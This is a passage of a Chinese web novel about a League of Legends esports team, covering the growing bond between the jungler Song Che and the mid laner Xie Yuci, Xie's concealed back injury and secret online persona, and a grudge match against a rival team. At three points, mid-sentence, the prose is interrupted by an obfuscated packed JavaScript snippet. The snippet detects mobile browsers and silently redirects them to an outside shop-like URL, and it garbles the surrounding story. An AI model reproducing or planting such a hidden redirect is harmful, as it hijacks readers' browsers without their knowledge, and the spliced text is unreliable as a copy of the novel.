“哇,这就有点太过分了。” 谢予辞轻缓地说:“所以我远不如大部分职业选手。在大家一次次把自己的一切奉献给英雄联盟,忍着痛苦和伤痕往前追求梦想的时候,我只是出于想赢的瘾,在做自己最擅长的轻松事。” “有时候我会想,如果没有赢过,我还会这么喜欢这个游戏吗?” “可是予辞哥,你不觉得我们的工作像傻瓜们做的一场梦吗?大家都在硬着头皮把梦话说完。”宋澈看着谢予辞清瘦的侧脸,“你只是比较不幸运,按下了快进键。” 他想起T杯决赛后,谢予辞拥抱他的那一刻,那时候舞台上的灯光很亮,观众的欢呼声震耳欲聋,但事后想来除了快乐之外他什么都记不清了,只想着下次得把一切细节好好刻在脑海里。 或许谢予辞也是一样? 谢予辞天资卓越名利双收,Vale早已被捧上英雄联盟的金字塔顶,可他一皱眉,宋澈还是不禁为对方在世俗眼中微不足道的烦恼而忧虑。 “也许吧,我也还在寻找答案。”谢予辞笑了笑,“小澈你也很过分,别太惯着我。” 小野左右看看,选择扯打野的裤子。 “不许说这么难的话!欺负小孩子听不懂吗!” 19. 第 19 章 宋澈和谢予辞彼此对视,都有些哭笑不得。 “好好好,我们不说难懂话了。”谢予辞蹲下身,“换个游戏吧,让小澈哥哥歇一会。” 小野眼珠子转了转,忽然眼睛一亮:“我想玩捉迷藏!“ “捉迷藏?”虽然并不想玩,但宋澈还是下意识地思忖战术。 他自诩薄弱的胜负欲最近总爱在奇怪的地方忽然冒头。 小野兴奋地拍手,“就在基地里玩!我来找,你们去藏!” 谢予辞看了看时间,“那我们玩一轮就好,范围限定在这两层,待会儿其他哥哥该带你去吃午饭了。” “好!我数一百下!”小野立刻跑到墙角,背对着他们开始数数,“一、二、三……” 游戏开得太快,宋澈还没做好野区规划,不知道该往哪个方向走。好在谢予辞握住他的手腕,接过指挥权。 “跟我来。”谢予辞压低声音。 两人轻手轻脚地离开训练室。 “予辞哥,我们去哪里?”宋澈明明知道完全没必要控制音量,奈何中单开团秒跟已经是他的习惯了。 “楼上有个小储物间,上个月刚整理出来,小野还没去过。”谢予辞狡黠道。 两人快步上楼,这次轮到中单在前领着打野在空无一人的基地穿梭。 谢予辞拉开走廊尽头一间狭小的房间,剩余空间只能勉强容纳两个人。 “这里会不会太小了?”宋澈有些犹豫。 “那不是正好嘛。”谢予辞已经拉着他走了进去关上门。 储物间里光线昏暗,只有门缝上透进来一丝微弱的光线。两人身体几乎完全被挤着贴到了一处,宋澈能清晰地感受到谢予辞的体温和呼吸。 宋澈又一次得以近距离地观察谢予辞,昏暗的光线柔和地投射在他身上,即使在这样简陋的环境里,中单依然散发着天然优雅的气质,让他在丈育遍地的竞人中显得格格不入。 “小澈,你在看什么?“谢予辞注意到他的目光。 “没、没什么。“宋澈自知失礼慌忙移开视线。 谢予辞拨开宋澈蹭在他脸侧的浅金色发丝,“慢点晃,好痒呀。” 宋澈艰难地伸手,握住呲出来的头发。 谢予辞打趣道,“这不就变成手蹭得很痒了吗?” 宋澈被搞得手足无措。 外面传来小野的呼唤声,“予辞哥哥!你们在哪里呀!” 谢予辞一把捂住宋澈的嘴,极其专注地屏息,丝毫没有给学龄前儿童放水的意思。 打野无缘无故的胜负心从何而来,一下子此身分明了。 房间里一下子安静到宋澈能听到自己的心跳声。谢予辞微微前倾,想要听清楚外面的动静。 中单用气音说,“他好像往楼下去了。” “嗯。”宋澈只能发出一个单音节。 他们就这样静静地站着,听着外面小孩子寻找的声音渐行渐远。 宋澈说,“予辞哥,你刚才说的那些话……” “嗯?”谢予辞贴在他耳边应声。 “我觉得你想太多了。”宋澈鼓起勇气低头看着他,“不管是因为天赋还是因为喜欢,你能一直赢到现在就已经很了不起了。” 谢予辞的笑容显得格外明亮,“小澈明明自己也有很多烦恼,却总想着安慰我,这样显得我太不合格了。” “我是不是有点得意忘形了?但我还是想告诉予辞哥,因为……”宋澈停顿了一下,感觉心跳在加速,“因为我希望你能一直快乐地打游戏。” 谢予辞也卡壳了,“小澈,你……” 宋澈闭眼等待判决。 “找到啦!我听到说话声了!” 门被猛地拉开,小野得意洋洋地站在门口,“你们藏得不够好哦!而且为什么要躲在这么小的地方?” 宋澈瞬间脸红了,慌忙和谢予辞拉开距离。 “小野真厉害。“谢予辞很自然地走出储物间,伸手揉了揉小野的头发,“那我们去吃午饭吧?” “好!我要吃汉堡!” 三人下楼时,前任AD也匆忙赶到了。 “小野!”前AD松了一口气,“予辞,辛苦你了,赶紧休息去吧。” “没事,小野很乖。”小孩配合谢予辞乖巧地背手站好。 “叔叔!予辞哥哥小澈哥哥带我玩了好多游戏!” “臭小子,遇见长得帅的就是哥哥,到我就成叔叔了?算了,我们该走了,跟哥哥们说谢谢了吗。” “谢谢予辞哥哥!谢谢小澈哥哥!“小野终于实现了他惦记了半天的弯腰碰拳。 看着小野被接走,宋澈长舒一口气,终于清静了。 “累了吧?”谢予辞关切地问。 宋澈诚实交代,“比我想象的还要难一些。” 谢予辞说,“小澈对自己的要求太高了。不需要更深入的投入,你很认真地在配合他,对孩子来说这就够了。” 两人离得近了,宋澈触景之下又想起刚才在储物间里的对话。 “那个……对哥说的话我也是认真的。“他小声说。 “我知道。”谢予辞温柔地笑,“对我来说,这同样已经足够了。” 两人走出基地。午后的阳光正好,街道上人不多,慢慢悠悠地散步格外悠闲。 “咱们去吃点什么?”谢予辞问。 “都可以。“宋澈习惯性地回答,然后意识到这样太敷衍。 “我是说,予辞哥你决定就好,我什么都喜欢。” 二十出头这个年纪嘴硬说饭吃得少一点大概会饿到比赛梦游,但跟中单在一起的话不论吃什么都可以。 谢予辞失笑,“不许把这么难的事情全推给我。” 宋澈想了想,“那就随便找个安静点的地方吧。” “好,好像还真有一个合适的地方。”谢予辞像是想起什么。 “是什么?” “你会喜欢的。”谢予辞卖关子,“我们走吧。” 两人沿着街道走了一段,来到一家复合式的书吧。一楼是书店,二楼是咖啡厅,装修很有文艺气息,宋澈青训时期起便在门口路过了很多次,想起书就头疼的他从来没有试图窥探里面的陈设。 “这里?”宋澈有些疑惑。 “嗯,进去你就知道了。”谢予辞先行一步。 “欢迎光临——呀,这不是NPG的孩子们吗,今天放假了?” 店主惊喜地抬头。 推开门,一股淡淡的书墨味混合着咖啡香扑面而来,但屋里最惹眼的却并不是高大密集的书架。 宋澈被正对着门口的一面墙吸引了注意力。 那面墙上贴满了各种颜色的便利贴和拍立得,密密麻麻一眼看不清。 “这是什么?”宋澈好奇地走近。 “粉丝留言墙。”店主笑着解释,“很多粉丝会来这里给自己喜欢的选手留言,我们会定期整理后传达给俱乐部。” “Carpet选手从没进来过吧?你的粉丝可都已经来过了。” 宋澈仔细一看,发现墙上有很多写着NPG Carpet的便利贴。 【Carpet加油!期待你在LPL的表现~】 【从次级联赛就开始关注你,终于等到你进NPG了!】 【如果Carpet能夺冠就算让我领导晨会拉裤子我也愿意啊!】 【希望你和Vale的中野配合越来越好!】 【澈哥永远的神!T杯冠军只是开始!】 看着这些真诚的祝福,宋澈头脑一时间空白,他没想到会有这么多人关注着他,支持着他。 “怎么样?”谢予辞站在他身边,“是不是该多出来走走啦?” “予辞哥,你怎么知道的?”宋澈转头看向他。 “前几天来挑书时发现墙上多了很多给你的留言,就想着带你来看看。”谢予辞拿过宋澈的手机,给他传过去了文档,“按理说店主先生要攒到一定数量才会扫描下来发给我们,这次就给你破例啦。” 宋澈凝望墙上那些五颜六色的便利贴,一本正经地说,“予辞哥,谢谢。” “除了不客气还能说点什么。”谢予辞歪头示意,“我们上去吃点东西吧,然后如果你不嫌我闷,我们可以在这里看看书。” 二楼的环境很舒适,他们选了个靠窗的位置坐下。 “看到那些留言感觉怎么样?“谢予辞一边翻看菜单一边问。 宋澈恍惚地说,“有点不真实,这是第一次线下见到粉丝的应援,我没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278603|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到会有这么多人关注我。在BG的时候,除了直播间的那些老粉感觉没什么人知道我。” “现在不一样了,你在NPG,而且你的表现确实很出色,不光你的对手们会研究你,粉丝们也都看在眼里。” 两人点了简餐,等餐的间隙聊着天。 “予辞哥,你经常来这里吗?” “嗯,这里很安静,而且离基地近,顾客大部分也是NPG的粉丝,大家很善良,认出我们也不会随便上来打扰。”谢予辞点头。 “你平时都看什么书?”宋澈好奇地问。 谢予辞的脸有点红,“偶尔看点小说,大部分时间不看书,只是来这里躲躲监督。” 中单说着说着不好意思了,色厉内荏地威胁,“不许出卖我!我如果被陈监督抓包,一定是小澈泄密了。” 冰牙的零性价比预制菜很快上来了,味道很一般,宋澈埋头往嘴里塞。 就着中单嗔怪的神色,竟然觉得菜点少了。 “那予辞哥是来找什么书?” 谢予辞这才想起正事,“对了,说起这个,小澈不是要上课了吗?和冬均一起上高二。我记得你当时是数学不太好,最后那次考了几分,及格了吗?” 宋澈眉眼瞬间垮了下来,“……7分。” 谢予辞真情实感地求教,“这、这是怎么做到的?” “……选择题全蒙错了,填空题一个都不会,解答题写了个解字。”宋澈自暴自弃地说。 他的心情比刚从冷冻层端出来的提拉米苏还凉。 谢予辞苦恼地检讨,“失策,怪我忘记提前问你一声,这样准备的礼物不知道还适不适合你了。” 打野的反Gank雷达响起警报,却劝不动一意孤行倒戈的主人,“礼物?给我的吗。” 狐狸半天不吭声,准是憋着坏。 谢予辞嘴角勾起,像是发现了有趣的玩具,他从一侧书架上抽出提前准备好的惊喜。 “锵锵——” 看清的瞬间宋澈感到一阵深入骨髓的恐惧,身体在书吧里,人已经死了有一会,灵魂走马灯中梦回高中时期每个支离破碎的下午第一节课。 中午吃了两碗米饭,午休在操场上打完篮球,踩着广播气喘吁吁地进班,声音磁性的数学老师慢条斯理地让他们掏出习题册。 蓝白相间的封面格外刺眼。 ——《五年高考三年模拟数学》 晚安,他睡了。 “予辞哥,你不会是想……”宋澈恨不得往后挪出平A范围。 “这个很经典的,我高中的时候也用过。”谢予辞掂了掂它的重量,“既然要上课,总得有练习册吧。” 宋澈光是看着就感到一阵绝望。 果然,在极端的生存压力前,人类顾不得道貌岸然的那层皮。 “我拒绝。”宋澈坚决摇头,第一次向中单皇帝的暴政勇敢说不,“那本书看起来就很可怕。” “不可怕,都是基础题呀,我还可以教你。“谢予辞笑眯眯。 “可是……”宋澈还想再争取一下。 “小澈,你也不想在课堂上被冬均嘲笑吧?”中单再进一步强势开团。 想到林冬均可能会露出的表情,天平缓慢倾斜。比起被勺子少爷嘲笑,至少数学题不会开口说话。 宋澈毫无悬念地举手投降,“谢谢予辞哥。” 谢予辞的失望溢于言表,“什么呀,这样都不愿意跟我生气吗。” “予辞哥,想看我生气?”宋澈试探着问。 谢予辞撑着下巴摇摇头,“中野配合不能只是一方命令一方迁就,我也想看小澈在我面前说出真心话的样子。” “如果连轻松的生活中都做不到,那在赛场的高压下一定会造成许多痛苦的。” “我也希望你的游戏是快乐的。” 回到宿舍后,宋澈把书摆在电脑旁,拿出手机,肌肉记忆般点开了和Quietus的聊天框,他已经习惯和对方分享生活中的一切了。 NPG Carpet:哥,今天过得很充实。 他停顿了一下,想着该如何描述,删删打打数遍,却总有种心虚挥之不去,不知该怎么说起。 宋澈比以往更早开始等待着Quietus的回复。 20. 第 20 章 宋澈还以为下路组会在外面玩疯了,结果收假日一到辅助便拎着AD早早回来了,倒是看上去很靠谱的上单,大抵是老友相聚难得,直到暮色降临才姗姗踏进宿舍。 队长大人秉公执法道,“这次表扬扶砚和冬均,批评Carpet选手和Aatrox选手。” 上单合掌认错。 莫名躺枪的宋澈申请验牌,“予辞哥,不公平,为什么还有我?” 李扶砚幸灾乐祸,“该玩的时候不好好玩,偷偷内卷让你的队友没法做人,现在还想蒙混过关?支持予辞哥点破工贼真面目!” 宋澈说,“恩怨局前我想多做准备。” “害,不用太在意卫教练说的所谓恩怨,细数起来,NPG欠的债早就是举世皆敌了。” “嗯?” 事先声明,宋澈不害怕强大的对手和高压环境,但对招猫逗狗没有一丁点兴趣。 举世皆敌,能奈我何! 但请问为什么要举世皆敌啊? “你难道不关注赛场舆论吗?这梗太老了我不想说,但求你通通网吧。”李扶砚摆着手指头数,“NPG前年爆冷输弱队害BLZ去不了世界赛,夺第二冠时破了WMS的S赛卫冕梦,疯抬工资帽导致AUR冠军班底原地解散,给LGE送了两组青训生搞乱引援计划,打哭PEC小太子气的人家远走外赛区,跟IRT更是联赛早年的老对手......” 叽里呱啦可汗大点兵! 细数下来但凡在联赛前列排上号过的队伍,就没有NPG没糟蹋过的。 “哦对了,今年还新增一个QST,咱们把他们当家选手兼队长挖走了。” 周衡笑眯眯地示意。 自从回来起便心情极佳的林冬均给他科普,“下场要打的UNG上赛季实力相当强,联赛内部谁碰谁死。但S赛时他们被欧美队的黑科技初见杀爆冷淘汰,一场内战都没打过。我们夺冠之后,他们粉丝就认定NPG这个冠军是偷来的没有含金量,一来二去就吵起来了。” 宋澈还真不清楚NPG还打过这种欠条,“我还以为是因为Arrival转会去了UNG。” 李扶砚的脸色一下黑了,“你别提他,那个大沙壁完全风了。” 林冬均说,“你要是对这个感兴趣就去问问予辞哥,予辞哥出道起就在NPG,对这些事肯定最清楚。” “抱歉——” “胡说八道——” 中单和打野的声音撞在一起,两人都顿了下,谢予辞才说道,“抱歉,我还真的不太了解。” 李扶砚狗腿道,“就是,冬均,予辞哥心思都在比赛上,哪有时间关注有的没的。” 好一场酣畅淋漓的舔门大成功。 谢予辞出乎宋澈意料地吃这套,怪害羞道,“没有,我只是不太关心咱们队外的选手,游戏只要自己打得满意就够了。” 宋澈定定地盯着中单,不知道在想些什么。 不容他多想,第二天的训练教练和监督都在,狠狠给玩野了的选手们上了一波强度。 陈监督亲自切换到数据分析页面,“Arrival,NPG的前任打野,是这次打UNG要注意的关键。” 宋澈微微绷紧身体。 “UNG在联赛内的状态一向很好,而封临对我们辅助游走配合中野发力的打法很熟悉,也是我们必须面对的现实。” 屏幕上播放着UNG选手们的操作集锦,宋澈看着录像想象着周末的比赛。 谢予辞说,“我们也不是没有优势,小澈的加入让我们的体系焕然一新,这是他们没有见过的。太依赖经验只会聪明反被聪明误。” 几人的目光转向了宋澈,其中有期待也有审视。 “你不会害怕了吧?”辅助张嘴就是经典高血压反问。 “扶砚哥,我最近状态好,我可以Carry你。” “大人说话小孩别插嘴。” “别害怕,你来之前我们就打不过UNG,这回控制变量法可行不通。”谢予辞笑道,“到时候要怪就怪这几个世界冠军。” “予辞,你别把我算进去,去年QST也被虐了两回。”周衡煞有其事地附和。 训练赛在松快的气氛中开始,俗话说做事张弛有度能事半功倍,宋澈能感受到今天整个队伍格外专注。 最明显的变化来自林冬均,ADC不再像之前那样急躁,操作更加稳健,教练和监督没挑出什么错处。 “Nice,冬均,这波处理得很好。”李扶砚游戏中从来不吝夸奖。 “还行吧。” 宋澈看到酷酷的AD嘴角抑制不住地上扬。 休息时宋澈去茶水间倒水,走廊里很安静,不料刚走到茶水间门口,他就听到里面传来陈监督和青训教练的对话声。 “那这批青训生怎么处理?”青训教练的声音有些犹豫。 宋澈停下脚步,手握着水杯,不知道该进去还是离开。 “直接通知他们收拾东西走人。”陈监督的声音冷淡得完全不是平时在队员面前的样子。 “可是有几个小孩他们也挺努力的......” “努力?那你倒是让他们说,下至Staff上至一队谁不够拼命?”陈监督不客气地打断,“再者说,训练时那副嬉皮笑脸的样子,配称得上一句努力吗。说到底还是去年临时提Arrival的事开了个坏头,让他们心思都野了。” “NPG是唯一给青训生发工资的队伍,这或许让有些人把我们当成了慈善机构。但你得知道,我们每个月花大价钱养着青训,不是要把精力投入到这些上线一眼能看到头的选手上。” 青训教练短暂权衡后似乎妥协了,“也罢,让他们早点认清现实也是好事。与其在这里浪费时间,不如早点找其他出路。” 宋澈悄悄离开了茶水间。 他其实见过Arrival,封临。封临跟他同一年来到青训,年纪却比他大两岁,因此从一开始在队内培养顺位中就排在他后面。 之后青训内部考评中,宋澈在打野的综合素质上胜于封临,并作为青训队首发打野占据了谢予辞最多的精力。 两人的差距逐渐明显,但封临却并没有放弃,即使作为青训替补也要留下,默默地磨炼着自己。 客观上讲宋澈是捡漏才回了NPG,但他此前的确没怎么把封临的事放在心上,也从未有过危机感。 自从回家以来,陈监督的话第一次让他升起不安的念头。 NPG的温暖难道只属于有价值的人吗? 各有心思的训练结束后,李扶砚私下找到了谢予辞。 辅助的表情有些严肃。 “予辞哥,我有件事想跟你说。”李扶砚压低了声音。 “什么事?”谢予辞停下收拾外设的动作,转身看向他。 “是关于宋澈的,上次你让我最近多留意他的状态,我觉得他可能在网恋。” 中单的手一抖,差点把鼠标碰掉。 “怎、为什么这么说?” “他最近总是抱着手机给同一个人发消息,聊天框一直置顶。而且表情很恶心,打着打着字一会黯然神伤一会傻乐,跟神经病似的。” 中单闻言没有立刻起身,他右手撑着桌沿,左手反过去按住腰,慢悠悠地吐字,“辛苦你了扶砚,但先别直接跟小澈说,他压力太大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278604|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我会找时间跟他谈谈的。” 李扶砚扶住他,“你没事吧予辞哥?” “呜,就是坐麻了。” 李扶砚正色,“予辞哥,你每天跟教练组一起讨论战术已经够累了,放心把剩下三个累赘交给我就好。” 谢予辞看着目前队伍中陪自己时间最长的辅助,“你也是,扶砚,我们的赛季才刚刚开始。” 那天陈铎把片子和诊断递给谢予辞。 “腰椎峡部裂后造成的滑脱。” 医生写了一大堆看不懂的术语和鬼画符,简单来说就是长期维持坐姿造成了疲劳性骨折,骨头裂了后没发现还在继续打,最后椎骨失去支撑从原本的位置往前滑。 “予辞,我希望你能休赛去做全面治疗。”这话本不应该由身为队伍管理层的监督来说,“它已经严重影响你的生活了。” 谢予辞摇头,“春季赛还不行,T杯时我见过二队打中单的那个孩子,他顶不住这三十天。” 他自己意识到自己不是普通的肌肉疲劳是在S赛决赛的第四局。 经过四十多分钟的鏖战,NPG凭借中单发条的远古龙团一拉三扳回一城,连失两分后终于将比分稳到2:2。双方回到同一起跑线,预备在战歌声中展开场惊心动魄的BO1。 11月初天气转冷,谢予辞有点感冒,起身回准备间前没忍住打了个喷嚏。 霎时,从腰一路到右边小腿全麻了。 倒不至于说痛到忍不了,在粉丝们面前失态,但他站不起来了。 一旁的打野发觉不对,小心翼翼地等待他发话。 他亲眼看到了自己的队员们为这天付出了多少,赛训组殚精竭虑,加之抽签机缘巧合,NPG时隔多年回到决赛舞台。 距离夺冠仅剩一步之遥。 谢予辞深呼吸,“没事,腿坐麻了,有点疼,阿临扶我一下吧。” 他们赢下了决胜局。 满天金雨中,谢予辞强撑着将冠军奖杯举过头顶。 发表FMVP的获奖感言时,一向沉稳端重的中单竟有些语无伦次。 赛后,战队方从队医口中得知这一消息后,立马通知相关的教练和工作人员,坚决不能跟任何人透露谢予辞腰伤加剧。 谢予辞是NPG的金字招牌,一旦他爆出伤病消息,不管是要坐替补席还是休赛治疗,都很不利于新赛季招商引资。 可惜百密一疏,管理层忘记了嘱咐打野。 谢予辞休赛期回忆时也察觉不妥,当时他为了能站稳,把大部分的重量撑在了打野身上,是个正常人都会疑惑。 他还没来得及去私下找对方谈谈,便接到了Arrival要转会去UNG的消息。 坊间传闻Arrival接了个UNG的四年大合同。 四年,对于保质期短的打野,几乎是买断了最巅峰的几年生涯。 论坛里骂什么的都有,谢予辞看了只想叹气,心知肚明封临为什么毅然决然地出走。 他断定Vale要因伤退役了。 NPG几年前为了续约Vale开了个天价合同,直接提升了赛区选手们的工资水平。业内的评价很客观,实际上大部分的选手并不值那么多钱。 Vale退役后这份虚假繁荣很快会化作泡影。 封临想在Vale养伤消息公布的恐慌前,给自己找个稳定舒服的去处,谢予辞没有任何立场能够指摘他。 随后队伍为了补缺签下了Carpet,想起这个孩子,谢予辞更是一阵头大。 他精心制定的“现实中给足关心的同时让Quietus变得很讨厌”计划可谓不见丝毫成效,纯属浪费时间。 21. 第 21 章 NPG Carpet:被李扶砚科普了队伍的人际关系,能混到这种地步也是很不容易了。 NPG Carpet:下路组最近状态不错,我打得也很好。去年没人赢过UNG,我这次想帮NPG做到。 NPG Carpet:私下去打听了一下,听说这批青训的留存率是零。现在才后知后觉,或许我一直是幸运的那个,在青训也好,遇到哥也好,很多事并没有我想的那么理所当然。 Quietus:嗯嗯。 莫名不想去食堂,独自找了个空训练室窝着的谢予辞盯着自己发出去的那可怜巴巴的几个字,怎么想怎么不是滋味。 对即将到来的比赛那么重视,却突然提起青训,好想问问小澈是不是遇到了不顺心的事情,但问出口就会破坏他的坏网友人设。 明明是出于担忧才想办法让他回到了NPG,可为什么人已经近在咫尺朝夕相对,曾经习以为常的关心却说不出口了呢? 哎,笨蛋打野只要老老实实倒贴就行了,我们大骗子要想的就很多了。 房间门响,蛐蛐对象的声音兀自出现。 “予辞哥?你怎么在这,还不去吃饭吗?” 谢予辞吓得一激灵,好在沙发的设置是背对门口,等他转过身脸上已经摆出了标准营业微笑,愣是没露出被现场抓包的破绽。 “嗯,还不饿呢,打算直播完点个外卖。小澈也没有去吗?” “我在等回复,等不到再去。”宋澈直白地说,没有半点遮掩的意思,自然地走到他身边坐下。 “吃饭每隔五分钟看一次手机的话会被烦人的辅助纠缠的。” 谢予辞哪敢说话,让野辅决裂的罪魁祸首,此刻正烫手般藏在他背在身后的手机里。 但他又不敢不说。 “是很重要的人吗?”谢予辞僵硬地明知故问。 求求你了小澈,请说只是普通网友吧! “嗯,非常重要。”宋澈的回答让谢予辞几乎想要把头埋进靠枕后面。 还好,还可以招架。谢予辞默默给自己打气,至少小澈没有上来直接说他谈恋爱了,让谢予辞给他参谋。 “予辞哥,你说如果一个在网络中认识的人突然变得很客气,回复很慢,总是找借口忙,是不是他在委婉地拒绝我?” 不要啊,这和直接把“我在网恋”四个字摆出来有什么区别? 非常感谢您的信任,这是对我队长工作的莫大认可......不对,重点是他该怎么告诉小澈,那不是拒绝,而是一位没有感情经验的冷血竞竞人在面对复杂人际关系时的手足无措。 喂喂喂,谁能管管,怎么有人欺负老头呀? 就说一句话,谢予辞出道打比赛的时候宋澈才上小学,天天念apple、banana。但这话能说吗?说不得!因为Quietus只是一位爱玩辅助的·平平无奇的·普通·素人·社畜。 谢予辞赶鸭子上架,被迫做了遭心理建设。 本人为地球人,热爱地球文化文明,承诺未向三体发送过地球坐标,以下言论甚至不代表个人感想,无任何隐喻、暗示、反串、碰瓷,内容不代表其他团体,必有误会歧义,但因为管不了那么多了所以先别指正。 “也许他真的只是有很多顾虑,毕竟网络和现实是有壁垒的。小澈,你有没有想过,或许网络中的情感和你想象的不太一样。对方或许很胆小,很平庸,甚至一直在骗你?” “那又怎么样?”宋澈接话很快。 “什么?”谢予辞愣住了。 “胆小也没关系,平庸也没关系。”宋澈向着他们前方的电脑黑屏伸出手,仿佛想抓住什么,“如果是骗我,只要他肯一直骗下去也很好。” 谢予辞欣赏宋澈的游戏打法,正如其本人,总带着孤注一掷的勇气。 “予辞哥,我不是因为他完美才喜欢他的。是在我最怀疑自己的时候,只有他接住了我。这种感觉和现实里他是谁、长什么样、有没有钱,都没有关系。” “只要是他,就没关系。” 谢予辞没能第一时间接住这话,感觉自己被禁锢在了原地。 要怎么办才好?现在中单对线可是不带净化的呀。 傲慢的玩家以为自己在玩一场无伤大雅的角色扮演,却没想到对方却已经把整颗心都捧了出来。 不行,不能再自以为是地逃避下去了,就算被小澈骂,他也不能冷眼辜负旁人货真价实感情。 他张了张嘴,准备酝酿。 “小澈,其实——” 砰! 门再次被暴力拉开。 “宋澈!你瞎跑什么呢,让我找半天!”辅助一惊一乍地冲进来,手里还举着亮着屏的手机,“别在那儿跟予辞哥享受二人时间了!出大事了!” 今天的门好忙,辛苦你了。 谢予辞如蒙大赦,“扶砚,怎么了?” “予辞哥,还能是什么事,咱们那位前任沙壁打野又发疯了呗。”李扶砚没好气地把手机怼到一声没吭的宋澈面前,“你别在这装死了,自己看他微博。封临是不是被UNG搞得发狂了啊,这还没打呢,脸都快贴到咱们基地大门上了。” 【@UNG Arrival:我会教教你们,什么才是真正的打野。】 李扶砚翻了个白眼,“也不看看当初是谁在野区被爆得稀里哗啦,去年半决赛他野区养的那个赵信我都不想说,全峡谷除了真眼没人能挨他四下平A。” 谢予辞见势不妙问,“扶砚,你没回复吧?” 李扶砚说,“没有,搭理他不就被这小子蹭到了吗?” 谢予辞刚松一口气,便听李扶砚阴恻恻地接了后半句,“所以我提前存好草稿箱了,一打完就发。” 宋澈接过手机,随意划了划,谢予辞在旁边也看到了评论区里的乱象。 【好好好,我要看血流成河!】 【骗骗哥们可以,别把自己骗了。】 【在某个资本家战队青训打了两年替补没闹过,临危受命帮队伍拿了冠军,现在转会了还得被白眼狼粉丝们追着骂,呵呵,NPG你们扪心自问对得起他吗。】 【听粉丝一句劝,别搁这找骂了。拿完忠诚奖金后转会这事是你做得不地道,越跳NPG粉丝越恨你,对你没好处的。】 【——回复@UNG Arrival:我打比赛是为了赢,不是为了被喜欢。】 谢予辞眉头微微皱起,在他看来封临的微博与其说是挑衅,更像是比赛前的心理战。 “他是在针对小澈。” 这样的赛前挑动舆论给压力的手段谢予辞再熟悉不过,可是这从不是NPG Ar ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278605|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' rival会用的。 是他沉浸在十年一队的童话里太久,还是这个世界难道真有那么快?熟悉的故人只是离开了几个月,就一改那些沉默踏实的模样,变得面目全非了吗。 可是,小澈离开了他整整一年,回来后依然是个如初见般的好孩子呀。 宋澈挑眉,“想在野区教我做事?那得看他有没有那个本事。” 谢予辞看着瞬间切换状态的宋澈咯噔一下。不对不对,小澈的人设是不是也有点不对呀,懂礼貌的小打野忽然露出了好吓人的表情。 宋澈似有所感般转过头,眼神灼灼,“予辞哥,控制变量法能用,因为这场比赛我们会赢。” “小澈......” “等等。”李扶砚打断二人,狐疑地在宋澈身上打量一圈,“我其实刚刚就想问了,你不去吃饭跑来这里打扰予辞哥干嘛?现在说话还这么粗鲁,舌头不想要了是吧。” 宋澈愿意在谢予辞面前敞开心扉,但他不想跟李扶砚这个大漏嘴子多透露半个字,于是把求助的目光投向中单。 谢予辞:“......” “没事扶砚,我找小澈说说抓线上的时机问题。” 此言一出火上浇油,李扶砚更鄙夷了,“就这点事不能自己想想吗,或者明天上班问我也行吗?一点主观能动性都没有,你就是那种自己不思考的假学习!” 打野被辅助提溜着打包带走了,谢予辞心有戚戚地挥手目送。 刚刚他的手机响过,此时终于有时间拿出来看,是宋澈发给Quietus的消息。 NPG Carpet:哥,不管你怎么想,我都不会放弃的。周日的比赛,我会证明给你看,我是值得你信任的。 那就赢吧。 为了NPG,为了爱说大话的笨蛋。 谢予辞站在准备室正中间,松弛地捏着暖手宝,显得有些百无聊赖。该做的准备已经全部完工,每天的训练中都尽了最大的努力,就没必要把忐忑带进赛场。 上一场比赛超时没有结束,已经到了最后决胜团环节,解说激昂的声音透过门缝隐隐传进来。 他往宋澈那边看了一眼。 青年就那么安静地垂着眼倾听着下路组的嬉闹,他原本总是留着点浅金色碎发的额头今天完整地露了出来,显出一副极具攻击性的姿态。 谢予辞做出评判,Arrival对Carpet来说是曾经的替补,亦是功成的冠军,更兼远走的旧将,重叠的复杂身份难免会带来更大的压力。 陈铎看了一眼手表,“该上场了,最后检查一下。予辞?” 监督示意队长。 谢予辞点点头,“去年一整年没有任何一支队伍正面击败过UNG,因此面对粉丝的质疑,NPG无话可说。” 林冬均悄悄埋下脑袋。 “赛场是个不公平的地方,拿了冠军依然被吹毛求疵,更多时候努力不一定有结果。但在这个日新月异的领域里,我们唯一能掌握命运的途径却是最笨的方法。冬均,别低头,还记得青训营的第一课是什么吗?” ADC牵住辅助的手,摸到了掌下有些变型的指节,“恒者能胜。” 中单如是说道,“如果我们已经尽了全力,那么NPG就会一如既往,通过所有挑战。” 现在,我们出发。 22. 第 22 章 玩家们在加载界面后,屏幕亮起的一瞬进入峡谷间的新世界。 对于宋澈来说还要再早些,他迎着选手通道尽头的白光走去,不论经历了多少次,耳朵和眼睛都会有短暂的不适应。越过周衡宽阔的肩膀,身后谢予辞正亦步亦趋地踩着他的影子。 